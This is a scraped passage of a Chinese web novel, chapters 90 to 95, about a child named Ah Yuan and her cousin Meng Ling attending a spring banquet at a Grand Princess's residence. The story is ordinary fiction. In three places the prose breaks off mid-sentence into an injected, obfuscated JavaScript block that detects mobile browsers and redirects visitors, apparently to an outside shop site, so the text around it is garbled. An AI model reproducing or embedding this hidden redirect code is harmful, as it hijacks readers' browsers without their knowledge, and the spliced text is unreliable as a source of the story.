孟绫心头一紧,听出是焦氏的声音,忙强打精神转身行礼。动作间失了秋梨的搀扶,她身子猛地一晃,险些软倒,全靠春桃死死拽住才勉强站稳,姿态狼狈。 “你这是什么规矩?装什么娇柔,扭扭捏捏一副孟浪样儿,出去可别丢了我们侯府的脸面。”焦氏扶着嬷嬷的手缓步而来,目光在孟绫过分苍白的脸上和虚浮的脚步上扫过,嫌弃地一挥手中锦帕。 经过孟绫身边时,她似是嗅到了些许血腥与药粉混杂的异味,眉头一拧,轻掩口鼻,脚步不停。 走出好几步远,才悠悠抛下一句,语气不容置疑:“还不快点跟上?今日宴上贵人多,你若是不循规蹈矩,再这般轻浮作态惹出什么错处,丢了侯府的颜面,仔细回来我揭了你的皮!” 孟绫原本指望祖母同行能为自己撑腰增色,即便不能大放异彩,也能得几分关照体面,此刻希望落空,心下顿时一片冰凉。 她犹豫着是否该去松鹤堂探看祖母病情,或许祖母并无大碍,还能强撑起身带她出去…… 可焦氏积威已久,眼下又明令催促,她不敢违逆,更不敢回头质疑,只得将满腹惶惑与不甘压下,内心悻悻然,却不得不低声应道:“是,二夫人!” 说罢,狠命咬了咬下唇,尝到一丝铁锈般的血腥味,在春桃、秋梨的搀扶下,一步一步,艰难地跟上了焦氏的脚步。 “一看就知道是个不安分的。紫烟,你今天给我看住她,别让她出什么幺蛾子,给我丢脸。”焦氏直到上了马车,依旧不放心地掀起车帘一角,回头狠狠剜了孟绫一眼。 只见孟绫被两个丫头半搀半架着,步履虚浮,还不紧不慢,故意落在队伍后头,离得老远,那副半死不活又故意拖延的模样,看得焦氏心头火起,牙关咬得隐隐发酸。 她唰地放下帘子,压低声音,对随后上车的心腹丫鬟紫烟厉声交代下去,每个字都像是从齿缝里挤出来的。 “二夫人放心,奴婢定会寸步不离,盯牢了大小姐。”紫烟连忙躬身应道,脸上堆满郑重。 她也顺着焦氏刚才的角度,透过那尚未合拢的车帘缝隙,向孟绫投去一个毫不掩饰的、带着鄙夷与监视意味的冷脸,活像一条得了主人令、准备扑咬猎物的恶犬。 第91章 “潇潇”给送了邀帖? 马车外的孟绫,恍若未觉那些刀子似的目光,依旧“千辛万苦”颤巍巍地将手搭在春桃和秋梨的胳膊上,仿佛那马凳是刀山火海,一步一喘地“挪”了上去,再“虚弱”地探身进马车时,痛得额角竟当真憋出了一层细密的汗珠。 只不过,除了痛,多半是闷热和心中厌烦所致。 而松鹤院里的老宋氏,确实是一大早就被发现出了状况。 天色刚蒙蒙亮,春兰嬷嬷如往常一般轻手轻脚进入内室,看老夫人是否需要如厕时,就发现帐幔里的老宋氏状态很不对劲。 她并非昏睡不醒,而是睁着眼直勾勾望着帐顶,眼神涣散呆滞,听到动静,眼珠极其缓慢地转动过来,却半天对不上焦。 嬷嬷心惊,连忙上前扶她,触手只觉老夫人手臂僵硬,再细看,那双养尊处优、惯常捻着佛珠的手,竟在不受控制地微微发抖。 “春……兰……”老宋氏开口,声音含糊嘶哑,像是舌头比平日短了一截,不甚灵光,“老身……这是怎么了?身上……怎么有股子……药味儿?” 她断续说着,鼻翼翕动,浑浊的老眼里流露出困惑与一丝不易察觉的惊惶。 实在是昨夜被灌药灌得急,灌完虽被胡乱灌了几口清水“漱口”,却哪里抵得过阿沅将那慢性毒药几副并作一副、加足火力熬成的浓汁? 药性猛烈叠加,那经久不散的苦涩气味,更是深深浸入了被褥帐幔,甚至仿佛从她毛孔里丝丝缕缕透出来。 “没事的,老夫人,许是哪个院里大清早熬药,药气顺着风飘过来了。” 春兰嬷嬷强压心惊,脸上挤出安抚的笑容,声音放得又轻又柔,像是哄着稚儿,“老奴这就叫人把窗户都打开,透透气,待会儿这味儿就散了。” 她一边说着,一边心下也狐疑不定。 昨晚明明是她亲自伺候老夫人洗漱更衣就寝的,老夫人近来连平日进补的荣养汤药都嫌味重不肯多喝,怎的这一夜过去,连人带床都像是从药罐子里捞出来似的? 看着老夫人目光迟滞、连今夕何夕都似要思索半天的模样,嬷嬷忽然想起今日要去参加的大事儿,忙试探着问:“老夫人,您看您今儿身子不爽利,要不要……老奴让人去给二夫人传个话,把今儿个的春日宴给推了?” “春……日宴?”老宋氏吃力地重复着,眉头紧紧皱起,目光里全是茫然的努力回想。 她隐约觉得今天是有件顶要紧、顶风光的事,可那事究竟是什么,具体又该如何,却像隔着一层厚重的迷雾,怎么也抓不住、想不清。 “什么……春日宴……”她喃喃着,语气里满是困惑与焦躁。 春兰嬷嬷见状,心中已然断定这情形是万万出不得门了。 老太太这副魂不守舍、言语不清的模样,虽一时半会儿,应该没有什么性命之忧。若真到了那贵人云集的春日宴上,还不知要闹出什么笑话、闯出什么祸事来。 她不敢再等老夫人那混沌不清的指令,当机立断,自作主张遣了腿脚快的小丫头去二夫人焦氏院子报信,只说是“老夫人昨夜偶感风寒,晨起头疼身重,实在起不了身,今日的春日宴恐怕去不成了”。 正是嬷嬷这及时的“擅作主张”,却也导致了前头侯府门口,孟绫期待已久,却左等右等不见祖母,最终只得跟着焦氏悻悻出发的那一幕。 这自然也让原本满心期待能借此机会出门透透气、或许还能有一丝渺茫转机的孟绫,希望彻底落空,心中更是失望气恼至极。 …… 与此同时,小宅院里的阿沅还沉浸在香甜的梦乡里。她正梦到自己回了庄子上,在暖洋洋的日头下追着大鹅跑,笑得见牙不见眼…… 冷不防被孟柒在门外压低却清晰的声音吵醒:“小姐,有人一大早送了份邀贴来,指名道姓让门房一定要交到小姐手上,送贴的人放下东西就走了,拦都拦不及。” 阿沅睡得迷迷糊糊,小脑袋还晕乎着,浓浓的起床气让她把小脸皱成了包子,咕咕哝哝地嘟囔,带着浓重的鼻音和不满:“什么腰铁……窝不要练……窝要睡觉……等回了庄子……再说……” 她以为柒叔又要抓她起来练功蹲马步,心里老大不乐意,小小的身子在柔软的被褥里不高兴地扭了扭,像只想要钻回洞里的困倦小兽,努力把自己更深地埋进暖和的被窝,只露出几缕翘起的头发,打算继续会周公。 “小姐,在下看了一眼,那邀贴的落款,写的是‘大长公主府’。”孟柒的声音透着谨慎与疑惑。 他实在想不通,他们住在这处隐蔽小宅,怎会有人知晓,还精准地送了贴来?这邀贴来得突兀又蹊跷,由不得他不多想。 贴子上“孟二小姐亲启”几个字写得清清楚楚,他担心年纪尚小、识字可能不全的小姐看不明白,便先越过主子仔细阅览了一遍。 这一看,心中的疑团更大了。 被窝里传来阿沅更加含混不清的嘟囔,带着被吵醒的委屈:“大长公主……?窝……不认识她呀……”说着,小鼻子轻轻抽了抽,仿佛又要陷入沉睡,发出细微而均匀的呼吸声。 孟柒在门外等了等,不见里头有动静,心知这孩子怕是又睡过去了。 他掂量着手中那份做工精美、熏着淡香的邀贴,决定再试试,便提高了些声音,用上了诱哄的语气,将帖中最引人好奇的内容点出:“可是小姐,这帖子上说,是‘潇潇’邀您去看戏呢!而且还特意加了句,说是‘有好戏’可看。” 他顿了顿,补充道,“在下想着,这‘潇潇’会不会是小姐在哪里结识的手帕交、小伙伴?” 他仔细辨认着帖上的字迹,又自语般分析道:“看这笔墨,字形端正,笔锋隐见力道,行文措辞也得体,虽笔迹间还带着些许稚嫩,但骨架已成,风骨初显……倒不像是与小姐一般年纪的孩童所书。” 这话他没完全说出口,但心中的疑虑更重了。 他们一行人行踪隐秘,自问并未泄露,若是真被人暗中盯上,与其躲藏,不如大大方方去看看对方葫芦里卖的什么药。 反正小姐也只是回自家侯府走了一圈,并未做什么见不得光的事。 被窝里,那小小的身躯似乎动了动。“看戏?手帕交?大长公主府?”孩童的意识还在睡梦里挣扎。 但属于孟沅的那份警觉与好奇心却被这番话渐渐勾起。她终于反应过来,柒叔说的不是催她练功的“腰铁”,而是“邀贴”,是请她去玩的! 几乎是立刻,阿沅“噌”地一下从被窝里坐了起来,顶着一头睡得乱糟糟的柔软头发,眼睛还没完全睁开,就冲着门外急切又带着刚醒的软糯鼻音确认:“窝起来了!柒叔,那……那泥跟窝一起去吗?” 这话别人听来,她就是有点想去瞧热闹,但又年纪小有点怕生,本能地想拉上最信赖的柒叔。 门外,孟柒苦笑了一下,声音温和却带着无奈:“柒叔怕是去不了,小姐。这是大长公主府的春日宴,规矩大,没有邀贴是进不去的。能跟着小姐进去的,只能是贴身的婆子或者丫鬟。” 他此时有些后悔,早知如此,该把红豆也一并带来才是,她和绿果一左一右护着小姐更加周全。眼下临时要找个体面又可靠的丫鬟可不容易。 但他转念一想,青天白日,大长公主府举办盛宴,宾客如云,守卫定然森严。若真有人想对小姐不利,绝不会选在如此众目睽睽、难以脱身之处。 再者,绿果那丫头,看着秀气,一身功夫却不输五六个男子,机敏沉稳,护着小姐周全应当无虞。 思虑至此,孟柒心中稍定,对着门内温声道:“让绿果陪着小姐去吧。她身手好,人也细心,定能照顾好小姐。小姐且起来洗漱用些早膳,再决定去不去也不迟。” 第92章 主动贴上来的潇潇姐姐 “绿果姐姐,窝四不四又胖了?”阿沅皱着小眉头,煞有介事地拍了拍自己圆鼓鼓的小肚子,那身崭新的元宝纹红色袄子被撑得紧绷绷的。 她低头瞅了瞅,仿佛能瞧见那布料上每颗小元宝都跟着她的动作微微变形。 “没胖没胖,小姐还窜高了呢!”绿果蹲下身,一边柔声安慰,一边替她整理衣襟,可手指还是忍不住悄悄探到她腰侧,轻轻捏了一把那软乎乎的“小面团”,眼里漾着藏不住的笑意。 阿沅疑惑地伸出藕节似的小胳膊,笨拙地前后比划了一下,也没觉着袖子变短呀。 她仰起小脸,乌溜溜的大眼睛盯住绿果,腮帮子微微鼓起,心想绿果姐姐又在哄她呢,可她拿不出证据,只好把这点小怀疑咽回肚子里。 为了这次春日宴来得仓促,并没特意裁制新衣,过年那身大红遍地金元宝纹的袄裙还崭新得耀眼,自然不必另做。 只是绿果怕她穿得太过臃肿,悄悄给她减了一件里头的小袄。 初春的风还带着料峭寒意,但若不少穿这一件,阿沅真觉得自己要被裹成一颗动弹不得的红包了,连抬手都费劲。 “大长公主府也在城西,不过离皇城根更近,跟几家王府、皇子府都是邻居。今儿个赴宴的车马肯定多,路上少说也得耗上两盏茶的功夫。小姐,您若还困,在车上正好再眯一会儿。”绿果细心叮嘱着。 孟柒亲自赶车,终归不放心,车辕上还坐着个作小厮打扮的十六,腰杆挺得笔直,眼神机警。 阿沅乖乖地点了点小脑袋,心里却像揣了只不安分的小兔子。 书中对这场春日宴并无着墨,大长公主在书里也不是坏人,可不知为何,她的小心肝就是噗通噗通跳得有些急。 “沅沅?快点下来,潇…潇姐姐早就等着你了。” 他们的马车朴素无华,并无侯府徽记,刚挨近大长公主府门前那对威风凛凛的石狮子,还未停稳,便有人风风火火地扑到车旁,声音有点刻意,甜得发腻。 孟柒一个凌厉的眼风还没来得及扫过去,十六已如鬼魅般闪至马车后方。绿果反应亦是极快,未见车下之人,便已不着痕迹地侧过身子,用自己挡住了车门。 “车上……是孟二小姐吧?” “沅沅,怕你认生,潇潇姐特意来接你了,快下来呀。” 阿沅没看见人,自然没有回答。 十六上前一步,拱手行礼。 眼前是一位打扮得颇为隆重的小姐,一身从头到脚,除了富贵还是富贵。瞧着**岁,至多不过十岁的光景。一身粉嫩衣裙,衬得小脸如三月桃花。 只是那面上的脂粉涂得有些过重了,好像还描了眉,不然倒是有几分英气,也不知谁给她脸上上了妆,反倒失了孩童应有的稚嫩气息。 但是,太热情了,热情得过了头。 她身旁还站着个十二三岁的小厮,也跟着招呼了一句。这一主一仆站在一起,不知怎的,总让人觉得有些别扭。 小姐年纪也不算小了,好好的丫鬟不带一个,怎么偏跟了个小厮呢? 也不知是不是没带丫鬟的原因,透着股说不出的怪异感,像是哪里不太对劲,一时却又难以看得透那古怪之处。 “沅沅,快下来。潇潇姐姐抱你,上回我们一起摘过海棠的,不记得了吗?”那声音越发轻柔,带着刻意的诱哄和夹子音。 车帘最终还是被掀开了。自称“潇潇”的小姐,脸上挂着无比热络的笑容。 阿沅望向她,小脑袋里却是一片茫然。原主的记忆碎片里,怎么也搜刮不出这号人物,就连小说里,似乎也未曾提及潇潇这个人。 “侯府,你们大院也有好几株海棠,真不记得了么?”潇潇不见半分不耐,依旧循循善诱,那说话的腔调拿捏得过分了些,如同在逗弄一只胆怯不敢近人的小猫儿。 后头的马车渐多,引导的护卫也开始催促。绿果虽觉异样,还是抱了阿沅下车。孟柒无法,只得将马车往前头赶去。 阿沅自始至终都没吭声,一双澄澈的大眼睛却像黏在了那位“潇潇姐姐”身上,努力想从她脸上瞧出些熟悉的影子,奈何原主的记忆库实在调取失败,或者说,压根儿就没有存储过关于她的信息。 “沅沅……”当这两个字再次被刻意加重,从那姐姐涂着口脂的唇瓣间蹦出来时,阿沅心里那点不乐意终于压不住了,小眉头拧成了疙瘩。内心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119098|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小人儿已经开始叉腰跺脚:你才是圆圆,你全家都是圆圆,比十六晚上天上的月亮还要圆! “窝不四圆圆,窝叫阿沅!”她终于忍不住,奶声奶气地出言纠正,小脸儿绷得紧紧的。她就是不喜欢有人叫她“圆圆”,好像她整个人就是个圆滚滚的小球似的。 “可是……你……”也许是看见阿沅闻言迅速用小手捂住了自己的肚子,一脸戒备地盯着她,潇潇不得不将目光投向阿沅圆鼓鼓的小肚皮。 阿沅这下真有点生气了,小嘴一撇:“窝不认屎泥。” 说完,便甩开对方伸过来的手,迈开小短腿,噔噔噔地就往那高高的府门台阶上冲。 绿果和潇潇几人都连忙跟了上去。 “这位……男客请走这边门。”十六被门口的护卫客气地拦住了。绿果倒未出示请帖,只说是跟着小姐的,也顺利跟了上去,但到底还是比潇潇和那个青衣小厮慢了几步。 奇怪的是,那青衣小厮居然没被阻拦?难道本就是大长公主府的下人?那这潇潇小姐又是谁? 不对啊!大长公主膝下只有一个十六岁的独子,并无女儿。 绿果脑海里念头急转,阿沅心里也画满了问号,这人到底是谁?为何对自己这般热络? 她可不会因为一句“一起摘过海棠”就被轻易诓了去,谁家里还没几株海棠花儿呀?那是最常见不过的花了,哪个小娃娃没偷偷摘过一两朵玩儿。 不过是诓骗三岁小孩的话罢了。 “这是谁家的娃儿?怎么生得如此圆润可爱,跟年画上的福娃娃似的。”一道带着笑意的温润女声从头顶传来,成功逼停了正埋头往里冲、气鼓鼓的小阿沅。 她抬起小脑袋,立刻换上甜甜的笑容,露出一口小米牙,望向台阶最上方。 府门入口处,正中间立着一位仪态万方的妇人。头戴赤金点翠朝阳五凤挂珠冠,身着正红色绣金凤穿牡丹云锦宫装,外罩同色缂丝霞帔,雍容华贵,气度非凡。 她身侧站着一位男子,身着靛蓝色暗银竹纹锦袍,腰束玉带,面如冠玉,长身玉立,必是大长公主驸马无疑。 两人显然是在此迎候重要宾客,绝非她这样的小丫头。 第93章 笑出眼泪的大长公主 因着大长公主这声笑问,大门附近许多人的目光都聚焦到了这个圆滚滚的红衣小身影上。 阿沅连忙停下脚步,有模有样地屈膝行了个礼,声音糯糯的:“小女孟沅,请大长公主姨姨安,请驸马姨夫安。” “哈哈哈,小小年纪,礼数倒周全,快些上来,让本宫仔细瞧瞧。”美貌妇人笑容愈发和蔼可亲,眼角的细纹都透着温柔,她微微蹲下身,张开了双臂,竟是真的要迎她入怀。 这样金灿灿、暖乎乎的大腿,阿沅岂能错过? 她立刻眉眼弯弯,像只欢快的小雀儿,蹦蹦跳跳地几步奔过去,毫不犹豫地扑进了那带着馨香的柔软怀抱里,还用小脸蛋蹭了蹭,软糯地唤了一声:“公主姨姨~” 落后几步的潇潇见到这一幕,只是微微一怔,竟也不先行礼,便径直扑了过去,她立在大长公主身侧,俯身在她耳畔,用刻意压低的声音说:“姑母!阿沅是潇潇的好伙伴呢。” “哈哈哈!”大长公主的脸颊贴着阿沅软乎乎的小脸,眼睛却看向了潇潇,忽然,她像是瞧见了什么极其有趣的事物,伸手指着她,先是忍俊不禁,随即竟是朗声大笑起来。 直笑得眼角沁出了泪花,连气都有些喘不匀:“你……你……”半天也没“你”出个所以然,只顾着笑了。 “潇潇!我是阿沅的潇潇姐姐。”潇潇的脸色变了变,带着一丝不易察觉的窘迫,轻轻扯了一下大长公主宽大的衣袖,刻意加重了语气强调,声音也大了不少。 “是!是!是!潇潇……姐姐,”大长公主好不容易止住笑,擦了擦眼角的泪,又捏了捏怀里阿沅那白嫩嫩、滑溜溜的小脸蛋, “可要替本宫照顾好我们阿沅小宝贝。”恰此时前面有更尊贵的客人到了,她便挥挥手,让他们先进府去。 阿沅心里悄悄松了口气,暂且放下了那点莫名的戒备。她伸出小手,搭上了那双明显比自己大上许多、涂着丹蔻的手,终于乖乖地叫了一声“潇潇姐姐”,任由对方牵着自己往府内走去。 比起眼前这位身份成谜、热情过度的“潇潇姐姐”,大长公主府邸的亭台楼阁、曲径回廊更让她感到陌生。 罢了,既然有人主动示好带路,暂且跟着便是,自己又不吃亏。 “跟我来。”潇潇那双狭长的丹凤眼亮晶晶的,带着几分孩子气的急切,她一把攥住阿沅肉乎乎的小手,提了提裙角,便往后院跑。 阿沅被她带着,脚下的小步子迈得飞快,几乎要跟不上,两个小揪揪在脑后一颠一颠,像两簇跳动的小火苗。 绿果抿着嘴,提着心,不远不近地缀在七八步外,眼睛牢牢锁在那道小小的红色身影上,生怕一错眼,这小祖宗就磕了碰了。 眼瞅着要越过那道精致的垂花门,跟着潇潇的小厮脚下猛地一顿,脸上显出几分挣扎。 往前是女眷内院,他一个半大小子,规矩上是不好再跟的。 他搓了搓手,望着已经快消失在门后的两个小身影,只能心里暗暗叹口气:哎,早知道主子这般风风火火,就该想法子多派个稳妥的嬷嬷,或是丫鬟跟着才是…… 孟绫来得其实比阿沅还要早些。 她刚被春桃和秋梨从马车上搀下来,脚还没站稳,继母焦氏那刀子似的目光就剐了过来,压低的声音又急又厉:“你给我老实点!今儿个是什么场合,收起你那些不上台面的心思!丫鬟也不用带了,紫烟——” 她朝身后倨傲的大丫头一扬下巴,“跟上她!寸步不离地给我盯紧了,若出了半点差错,仔细你的皮!” “母亲,我……”孟绫脸色一白,嘴唇翕动,眼里浮起一层水光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119099|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着恳求望向焦氏。 她身上还藏着昨晚一屁股的钝痛,此刻只想安安静静、尽量不惹人注意地捱过这场宴会,再私会一两个公子。 可焦氏只从鼻子里哼出一声,丢给她一个满是厌弃的白眼,转身便扶着婆子的手,快步走进了那花团锦簇的后院,很快便与一群珠光宝气的贵妇人谈笑风生,融作了一处。 “还不快走!”紫烟不耐烦地催促,声音尖细,她朝前面一个引路的、穿着比自家下人光鲜不少的青色比甲的丫鬟努了努嘴,“没见人家都走远了么?磨蹭什么!” 孟绫出自安平侯府,却只是二房的姑娘。她父亲孟二泉新近才得了个从五品的员外郎衔,能接到大长公主府的邀贴,全是仰仗祖母老宋氏那一品诰命的脸面。 来领她们进去的丫鬟,显然也不是什么有体面的主子,她一口气招呼了两三家身份相仿、不算起眼的官眷,让她们自行跟上便是。 孟绫只觉得臀腿处那未曾愈合的伤口火辣辣地疼,每走一步都牵扯着,仿佛有细针在扎。她哪里敢走快? 即便心里焦急,也只能小步挪动,姿势不免有些僵硬别扭,生怕动作大了,那衣料磨到伤处,更怕伤口裂开,渗出血迹,污了这身为了今日特意赶制、并不算顶好的新衣。 自然而然的,她便落在了这一小队的最后面。 “真是个没用的东西,走个路也这般扭捏,真真上不了台面。”紫烟回头瞪了她几眼,催促了几次不见效,索性也放慢了脚步,东张西望起来。 一会儿踮脚看那廊下挂着的精致鸟笼,一会儿又探头去嗅道旁初开的玉兰,目光更多是流连在那些衣着光鲜、环佩叮当的贵女身上,眼里带着艳羡和比较。 只要孟绫这人还在视线里,没走丢,她便懒得再多费口舌管束。 第94章 一副青楼做派 “潇潇姐姐,我们这是要去哪儿呀?”进了内院,景致愈发开阔精巧,阿沅的脚步不自觉地慢了下来,一双乌溜溜的大眼睛不够用了似的,左看看右瞧瞧。 无论是穿越而来的孟沅,还是书里那个三岁的原身,都是头一遭进这样门槛高耸、气象非凡的府邸,满心的好奇几乎要溢出来,像只初入花园的小雀儿,看什么都新鲜。 “这时候开得最好的花儿,姐姐先带你偷偷瞧一圈去!” 潇潇回过头,冲她狡黠地眨眨眼,嘴角弯起一个灵动的笑,“等会儿人多了,挤挤挨挨的,可就看不真切,也玩不尽兴啦!” 说着,她手上加了点力道,牵牢了阿沅,两人像两只滑溜的小鱼儿,径直绕过那绘着精美彩画的游廊,穿过一道月洞门,眼前豁然开朗,是一片更为绚烂的花圃。 潇潇拉着她,便朝着那花团锦簇处小跑过去。 “你们瞧那边,那是谁呀?一身素白,在这喜庆日子里给谁看呢?”不远处,几个聚在一处赏花的贵女注意到了独自一人的孟绫,有人用手帕掩着嘴,低声说道。 “何止是白衣,你们看她那副模样,”另一个小姐撇撇嘴,语气里满是鄙夷,“弱柳扶风似的,还蹙着眉头,一手托着腮,就这么倚在廊柱上……做给谁看呢?一副青楼做派。” “挑的位置也妙,正在那拐角显眼处。待会儿前头的公子们进来游园,头一个瞧见的可不就是她?这心思,未免也太明显了些。”一个穿着鹅黄衫子、年纪稍长的姑娘冷笑一声,下了定论。 “不知是哪家小门小户出来的,一点规矩都不懂。走,咱们过去瞧瞧,到底是何方神圣。”提议一出,几人便嬉笑着,袅袅婷婷地朝孟绫所在的方向走了过去。 园中赏花扑蝶的贵女们本就三三两两结着伴,骤然出现一个落单的、举止又显得“出格”的,自然成了众人目光和闲话的焦点。 孟绫哪里知道这些?她实在是走得又痛又累,额角都沁出了细汗,眼见身旁有根光洁的廊柱,便忍不住靠了上去,想略歇一歇脚,缓一缓那磨人的痛楚。 她微微蹙着眉,一手下意识地轻轻按着身侧,全然没料到自己这副情状,落在旁人眼里,竟成了刻意摆出的柔弱姿态,蓄意勾引。 “呦!我当是谁呢!”一个穿着桃红撒花裙、头戴赤金蝴蝶簪的小姐脚步轻快,几步就蹿到了孟绫跟前,距离不过五步,上下打量着她,语气里的轻蔑毫不掩饰。“ 这不是安平侯府二房,那位新晋从五品员外郎家的嫡小姐吗?听说在自家姐妹里可是个厉害角色,怎么今日身边连个使唤的人都没有?孤零零站在这儿,是想……等谁呢?” 她话音才落,另一位被两个丫鬟簇拥着、缓步走来的小姐也到了近前。 这小姐约莫及笄之年,穿着湖蓝织锦的衣裳,气度更为沉静些,可说出来的话却更刻薄:“从五品的员外郎?这样的门第,也配踏进大长公主府的门槛?依我看,怕是连给府上的世子爷做个端茶递水的通房侍妾,都嫌不够格呢。” 又有三四位小姐被这边的动静吸引,围拢了过来,七嘴八舌地搭腔: “就是,什么客人?你也配自称是大长公主的客人?” “我听说,你们府上得着的邀贴,是给那位有一品诰命的老夫人的吧?老夫人今日怕是没来?即便来了,该领着进园的,也该是大房的嫡出小姐。你呀,不过是个……充数的罢?” “哎,你们可听说前阵子安平侯府的传闻了?说是做了亏心事,宅子里半夜闹鬼呢!兴许那老继室心里有鬼,大白天都不敢出门见人了。嘻嘻!”不知是谁提了一嘴,几个女孩子立刻用帕子捂着嘴,嗤嗤地笑了起来。 “对了,上次宫宴,好像就没见着安平侯府的女眷露面呢。”又有人补充了一句,更是坐实了某种猜测。 “嫡出又怎么样?刚过完年,她那个爹倒是有功夫娶了个平妻,阵仗还不小。” “你们……你们……”孟绫气得浑身发抖,脸上一阵红一阵白,手指着那几个笑语嫣然的小姐,胸口剧烈起伏,却半天憋不出一句完整有力的反驳话来。 她想冲出这令人窒息的包围圈,可身边连个帮腔挡驾的丫鬟都没有,刚挪动两步,就被人有意无意地挡住了去路,只能困在原地,任由那些或明或暗的嘲讽、轻蔑、探究的目光,将她钉在耻辱柱上,肆意品评。 上两次参加的宴会,主家身份相当,众人都互相客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123753|195865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客气气,她因着父亲新得的官职,甚至还得了几句奉承。 可今日,在这真正的钟鸣鼎食之家,她才无比清晰地意识到自家那点勉强撑起的门面,是多么不堪一击。 若不是祖母那点子诰命荣光,在这大长公主府前,他们怕是连排队的资格都没有。 “潇潇姐姐,您慢点儿嘛!等等我呀!”一道清脆娇嫩、带着点小喘气的童音,忽然从回廊另一侧的花丛边传来,像一颗小石子投入凝滞的水面。 “好呀!阿沅你快点过来,潇潇姐姐帮你捉那只最大最漂亮的蝴蝶!” 紧接着是另一道稍显清亮、满是纵容与欢快的中音。 正被悲愤与难堪淹没的孟绫,猛地一愣,几乎是下意识地扭过头,循声望去。 只见一道鲜艳如火的红色小身影,像颗滚动的红玉珠子,从廊边茂盛的花木旁一闪而过,只留下惊鸿一瞥的圆润侧影和那两个随着跑跳而活泼弹动的小发揪。 “太像了……”孟绫心头突地一跳。 那声音软糯糯的调子,那跑起来有点笨拙却充满活力的姿态……像极了她那个可恶又可恨的小堂妹,大房的阿沅丫头。 但这念头只闪现了一瞬,她便立刻用力摇了摇头,自己在心里否定了:不可能!绝对不可能!大房那一支,早就被祖母打发到城外那个破庄子里自生自灭了。 去冬今春那样冷,京城都**那么多人。庄子上缺衣少食的,能不能熬过来都两说,只怕现在……都在等着吃席了罢? 再说了,安平侯府拢共就得了一张邀贴,那小丫头片子怎么可能进得来这大长公主府? 她再次望向那声音消失的方向,花丛掩映,早已不见了人影。 刚才那惊鸿一瞥的小娃娃,玉雪可爱,被一个一看就是大家出身的贵女牵着、护着,身边跟着的丫鬟也气度不俗,那通身的无忧无虑、被娇宠着长大的明媚气息……怎么可能是她那个在庄子里苦熬、面黄肌瘦的小堂妹? 定是宫里哪位得宠的小公主,或是哪位王府里的金尊玉贵的小郡主,趁着春日,出来玩耍的。那才是云端上的人儿。 与她,与她记忆里那个可能已不在人世的小丫头,是云泥之别,一万个不会是的。 第95章 纪世子和三皇子 扑蝶出了一身薄汗,鬓发都有些湿漉漉地贴在颊边,个个脸上红扑扑的像染了胭脂,虽是一无所获,连片完整的蝴蝶翅膀都没能兜着,但胜在阿沅玩得高兴,咯咯的笑声银铃般洒满了花丛。 她跑得小髻微散,几缕软软的发丝黏在额角,圆眼睛里亮晶晶的全是快活,仿佛追蝴蝶本身就已是最有趣的事。 不远处的主路上忽然传来一阵刻意压低的催促与骚动:“快点快点,赶紧的都靠近点,大长公主带着各府夫人们往这边来了。” “瞧见后头没有?公子们也跟着呢。最前面那位身着月白锦袍、玉树临风的,不会就是纪世子吧?” “能被众人簇拥着走在最前头的,不是世子爷还能有谁?” “哎呀,长得真好看。” …… “阿沅,走,咱们也看热闹去。”潇潇眼见原本三三两两、散在各处赏花的贵女们纷纷起身,步履匆匆却极力维持着端庄仪态转向主路方向,立刻来了兴致,一把牵起阿沅的小手。 “好呀!”阿沅正愁热闹要散了,闻言立刻仰起小脸,笑得见牙不见眼,主动将自己的小胖手塞进潇潇掌心,还依赖地攥紧了她的手指。 潇潇拉着她逆着人流往主路方向小跑,两人像两尾灵活的小鱼,竟在人群缝隙中钻了过去,在不远处的游廊下抢到了一个紧挨着主路的绝佳位置。 “来,阿沅坐这儿。潇潇姐姐抱着你,看得更清楚。”潇潇不由分说,一把将小奶团子抱起来,自己坐到廊凳上,把阿沅稳稳圈在胸前。 阿沅毫无防备,只觉得身子一轻便落入一个带着清冽香气的怀抱,她舒服地往后靠了靠,两只小胖腿自然而然地悬空晃荡起来,惬意极了。 正探头探脑望向越来越近的人群时,后颈忽然被人轻轻吸了一口,随即听到潇潇带着笑意的低语:“嗯,一股奶香味儿,甜滋滋的。” 阿沅缩了缩脖子,觉得痒痒的,扭过头对潇潇咧开嘴傻笑,又转回去专心盯着前方。 大长公主仪仗雍容,所过之处,无论站着的、坐着的贵女们都纷纷敛衽行礼,姿态优美。 阿沅见状,也在潇潇怀里挣扎着想滑下去站好行礼,却被身后两条有力的胳膊稳稳圈住,动弹不得。 她只好就着被抱住的姿势,努力拱起小手,奶声奶气却格外响亮地喊道:“长公主姨姨安!”她童音清亮,毫无拘束,在这一片刻意放低的婉转问安声中显得格外突兀。 